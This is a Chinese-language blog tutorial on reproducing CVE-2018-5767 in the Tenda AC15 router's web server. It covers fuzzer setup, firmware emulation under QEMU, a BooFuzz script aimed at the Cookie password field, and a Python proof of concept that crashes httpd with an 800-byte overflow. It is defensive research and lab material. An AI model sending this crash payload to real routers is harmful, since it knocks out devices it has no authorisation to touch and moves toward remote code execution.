协议模糊测试实战: CVE-2018-5767 复现
19
在 IoT 安全研究中,模糊测试(Fuzzing)是发现未知漏洞的高效手段。本文将介绍如何在 Ubuntu 24.04 环境下配置相关工具,并利用 BooFuzz 框架复现 Tenda AC15 路由器的远程代码执行漏洞(CVE-2018-5767)。
1. 环境配置 (Ubuntu 24.04)
1.1 系统基础与 Python 环境
Ubuntu 24.04 对全局 Python 包管理有严格限制(PEP 668),建议使用虚拟环境。
# 更新系统
sudo apt update && sudo apt upgrade -y
# 安装基础工具
sudo apt install -y build-essential libssl-dev git curl python3-pip python3-venv python3-dev
虚拟环境开启。
安装 venv 模块:在 Ubuntu 上需要先执行 sudo apt install python3-venv。
创建:使用 python3 -m venv 文件夹名。
激活(开启):使用 source 文件夹名/bin/activate。这是你所有后续 pip install 和运行脚本的前提。
退出:直接输入 deactivate。
1.2 安装 Boofuzz
Boofuzz 是 Sulley 框架的后续版本。你可以选择快速安装或从 GitHub 源码安装。
方式 A:通过 PyPI 快速安装
# 激活环境后执行
pip install --upgrade pip
pip install boofuzz
方式 B:从 GitHub 源码安装
如果你需要查看源码或使用最新特性,可以直接从 jtpereyda/boofuzz 克隆:
# 安装编译依赖
sudo apt install -y libffi-dev swig
# 克隆并安装
git clone [https://github.com/jtpereyda/boofuzz.git](https://github.com/jtpereyda/boofuzz.git)
cd boofuzz
pip install .
1.3 安装 Binwalk
Binwalk 用于分析和提取固件镜像。为了支持完整提取功能(-e),需要安装一系列解压工具。
# 安装 binwalk 及其提取依赖
sudo apt install -y binwalk mtd-utils gzip bzip2 tar arj p7zip-full \
p7zip-desktop lzma-alone squashfs-tools sleuthkit dumpetch cpio rsync
2. 漏洞背景与原理 (CVE-2018-5767)
该漏洞源于 Tenda AC15 路由器的 httpd 服务在处理 HTTP 请求头中 Cookie 的 password 字段时,使用了未进行边界检查的函数(如 sscanf 或 strcpy),导致栈溢出。攻击者可以通过构造超长的 password 字符串来劫持控制流。
3. 复现环境准备
固件版本: Tenda AC15 V15.03.05.19
模拟工具:
qemu-arm-static辅助工具: IDA Pro (用于静态分析定位漏洞偏移)
4. BooFuzz 脚本编写
在激活的虚拟环境中编写脚本,定义 HTTP 请求结构。
4.1 定义请求结构与 Fuzz 会话
from boofuzz import *
def define_http_request():
s_initialize("tenda_http")
# HTTP 请求行
s_static("GET /goform/addressRule HTTP/1.1\r\n")
s_static("Host: 192.168.0.1\r\n")
# 关键点:构造漏洞触发点 Cookie 字段
s_static("Cookie: ")
s_static("password=")
s_string("A" * 10, name="fuzz_password") # 目标 Fuzz 字段
s_static("\r\n")
s_static("Connection: close\r\n")
s_static("\r\n")
def main():
target_ip = "127.0.0.1" # QEMU 模拟地址
target_port = 80
session = Session(
target=Target(connection=TCPSocketConnection(target_ip, target_port)),
)
define_http_request()
session.connect(s_get("tenda_http"))
session.fuzz()
if __name__ == "__main__":
main()
5. 复现步骤
第一步:固件模拟
解压固件后,使用 chroot 和 qemu-arm-static 启动 Web 服务:
sudo cp $(which qemu-arm-static) .
sudo chroot . ./qemu-arm-static ./bin/httpd
第二步:启动 BooFuzz 脚本
在另一个终端启动虚拟环境并运行脚本:
source ~/fuzzing_env/bin/activate
python fuzzer.py
访问 http://127.0.0.1:26002 可查看实时监控界面。
第三步:确认崩溃与验证 PoC
当 httpd 出现 Segmentation fault 时,记录当前的 Payload。典型的验证脚本如下:
import socket
# 发送 800 个 'A' 尝试触发溢出
payload = "GET /goform/addressRule HTTP/1.1\r\n"
payload += "Host: 127.0.0.1\r\n"
payload += "Cookie: password=" + "A" * 800 + "\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 80))
s.send(payload.encode())
s.close()
协议模糊测试实战: CVE-2018-5767 复现
https://www.kiki1e.top/archives/cve-2018-5767fu-xian-fen-xi